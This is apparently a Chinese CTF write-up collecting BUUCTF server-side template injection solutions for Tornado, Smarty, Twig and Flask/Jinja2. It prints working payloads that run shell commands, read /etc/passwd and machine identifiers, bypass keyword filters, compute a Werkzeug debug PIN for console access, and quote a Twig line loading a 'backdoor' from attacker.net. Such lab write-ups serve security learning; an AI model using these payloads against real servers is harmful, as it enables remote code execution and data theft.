BUUCTF SSTI模板注入小结(持续更新)

在这里插入图片描述

服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题.

[护网杯 2018]easy_tornado

ssti注入点在msg
注入{{7*7}}出现orz应该是有过滤
{{1}}正常
hint里缺cookie_secret
该项在handler.settings

Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象
RequestHandler中并没有settings这个属性,与RequestHandler关联的Application对象(Requestion.application)才有setting这个属性
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!

在这里插入图片描述然后按hint里的MD5加密过后传参
在这里插入图片描述

?filename=/fllllllllllllag&filehash=ff92d5623223cadc00efabfc7676f9fe

filehash不同 请自行加密
在这里插入图片描述

[BJDCTF2020]The mystery of ip

注入点在flag.php的xff

在这里插入图片描述
源码:

<?php
	require_once('header.php');
	require_once('./libs/Smarty.class.php');
	$smarty = new Smarty();
	if (!empty($_SERVER['HTTP_CLIENT_IP'])) 
	{
		   $ip=$_SERVER['HTTP_CLIENT_IP'];
	}
	elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
	{
	    $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
	}
	else
	{
	    $ip=$_SERVER['REMOTE_ADDR'];
	}
	//$your_ip = $smarty->display("string:".$ip);
	echo "<div class=\"container panel1\">
				<div class=\"row\">
				<div class=\"col-md-4\">	
				</div>
				<div class=\"col-md-4\">
				<div class=\"jumbotron pan\">
					<div class=\"form-group log\">
						<label><h2>Your IP is : ";
	$smarty->display("string:".$ip);
	echo "				</h2></label>
					</div>		
				</div>
				</div>
				<div class=\"col-md-4\">	
				</div>
				</div>
			</div>";
	?>

cat🐱
在这里插入图片描述

[BJDCTF2020]Cookie is so stable

在这里插入图片描述

Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法,但是却有一个 env 如下图所示:
在这里插入图片描述
env是指属性Twig_Environment对象,Twig_Environment对象有一个
setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置(不知道为什么官方文档没有看到这个方法,后来我找到了Twig
的源码中的 environment.php 如下图所示:
在这里插入图片描述
因此,明显的攻击是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞: payload:
{{_self.env.setCache(“ftp://attacker.net:2121”)}}
{{_self.env.loadTemplate(“backdoor”)}} 但是新的问题出现了,allow_url_include
一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter() 这个函数中调用了一个
call_user_function 方法
public function getFilter($ name) {
[snip]
foreach ($this->filterCallbacks as $ callback) {
if (false !== $ filter = call_user_func($ callback, $ name)) {//注意这行
return $ filter;
}
}
return false; }
public function registerUndefinedFilterCallback($callable) {
$this->filterCallbacks[] = $callable; }
我们只要把exec() 作为回调函数传进去就能实现命令执行了 payload:
{{_self.env.registerUndefinedFilterCallback(“exec”)}}
{{_self.env.getFilter(“id”)}}

原理:也就是说通过向registerUndefinedFilterCallback函数中传入exec,此函数将exec赋值给filterCallbacks[],然后调用getFilter函数,并传入参数name(此参数作为我们需要命令执行的传入的语句),然后将filterCallbacks[]的值取出来即exec赋给callback,再使用call_user_func函数进行调用,相当于执行了call_user_func(exec,name的值),也就是说调用了exec函数,并且将name参数的值作为exec函数的参数,造成了命令执行
原文链接

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[CISCN2019 华东南赛区]Web11

在这里插入图片描述看最后build with smart
ssti
上面还很明显地给了xff
在这里插入图片描述
在这里插入图片描述

Smarty常用payload:
利用smarty的{if}条件

  • {$smarty.version}查看smarty版本号
  • {if phpinfo()}{/if}查看php信息
  • {if system(‘ls /’)}{/if}查看根目录下的文件
  • {if system(‘cat /flag’)}{/if}
  • {if readfile(‘/flag’)}{/if}
  • {if show_source(‘/flag’)}{/if}

[WesternCTF2018]shrine

import flask
import os 

app = flask.Flask(__name__) 

app.config['FLAG'] = os.environ.pop('FLAG') 

@app.route('/') 
def index():
	return open(__file__).read()
	
@app.route('/shrine/')
	def shrine(shrine):
		def safe_jinja(s):
			s = s.replace('(', '').replace(')', '')
			blacklist = ['config', 'self'] 
			return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
		return flask.render_template_string(safe_jinja(shrine)) 
		
if __name__ == '__main__':
	app.run(debug=True) 

看源码
有两个route
有用的是第二个
在这里插入图片描述
但是有黑名单 遍历为空
需要用py内置函数
url_for或get_flashed_messages
{{url_for.__globals__}}
在这里插入图片描述看current_app的config试试
{{url_for.__globals__['current_app'].config}}
在这里插入图片描述

[GYCTF2020]FlaskApp

预期解

利用PIN码 实现flask debug模式下的终端rce

前几天看到篇flask pin码的 当时我以为很高深 就想以后再看 没想到这么快就用上了

PIN码生成的五要素

  • flask所登录的用户名
  • modname 一般是flask.appgetattr(app, “name”, app.class.name)。一般为Flask
  • flask库下app.py的绝对路径 这个可以由报错信息看出
  • 当前网络的mac地址的十进制数
  • 机器的id。

1、通过/etc/password看用户名

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

flaskweb
在这里插入图片描述2、modname
上面说了
flask.app
3、绝对路径在尝试是ssti的时候
报错上就是绝对路径
4、mac地址
在/sys/class/net/eth0/address

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

在这里插入图片描述按照大佬的指示
需要转成10进制

print(int('mac',16));

5、

对于非docker机每一个机器都会有自已唯一的id
linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i
有的系统没有这两个文件

对于docker机则读取/proc/self/cgroup
其中/docker/字符串后面的内容作为机器的id(每一行都一样)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

贴一个大佬的代码
用你的替换掉private_bits

 import hashlib
 from itertools import chain
 probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
 ]
 ​
 private_bits = [
     '2485377864455',# str(uuid.getnode()),  /sys/class/net/ens33/address
     'ad4fc7650590f81ec6ab4e3a40f284a6b5a75454fcb50d6ee5347eba94a124c8'# get_machine_id(), /etc/machine-id
 ]
 ​
 h = hashlib.md5()
 for bit in chain(probably_public_bits, private_bits):
     if not bit:
         continue
     if isinstance(bit, str):
         bit = bit.encode('utf-8')
     h.update(bit)
 h.update(b'cookiesalt')
 ​
 cookie_name = '__wzd' + h.hexdigest()[:20]
 ​
 num = None
 if num is None:
     h.update(b'pinsalt')
     num = ('%09d' % int(h.hexdigest(), 16))[:9]
 ​
 rv =None
 if rv is None:
     for group_size in 5, 4, 3:
         if len(num) % group_size == 0:
             rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                           for x in range(0, len(num), group_size))
             break
     else:
         rv = num
 ​
 print(rv)

得到的PIN码
在报错界面点终端在这里插入图片描述
然后就任你摆布了
在这里插入图片描述

非预期解

有waf
先读代码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
 def waf(str):
 black_list = ["flag","os","system","popen","import","eval","chr","request",
 "subprocess","commands","socket","hex","base64","*","?"]
 for x in black_list :
 if x in str.lower() :
 return 1

采用字符串拼接绕过waf(‘flag’ ‘import’ ‘os’)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

在这里插入图片描述看到this_is_the_flag.txt
继续拼接绕过

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

[CSCCTF 2019 Qual]FlaskLight

在这里插入图片描述
寻找执行命可以借助的类

  1. 获取变量[]所属的类名 {{[].class}}
  2. 获取list所继承的基类{{[].class.base}}
  3. 获取所有继承自object的类 {{[].class.base.subclasses()}}

这些类也不熟悉
于是Ctrl + f
搜索如print warn read等和输出有关的词
<class ‘site._Printer’>
71位
在这里插入图片描述<class ‘warnings.catch_warnings’>
59位
在这里插入图片描述以site._Printer为例

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}

在这里插入图片描述

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

在这里插入图片描述
warnings.catch_warnings不含os
要用如下方法
shell部分自行更改

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('----shell-----').read()")}}

一些链接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值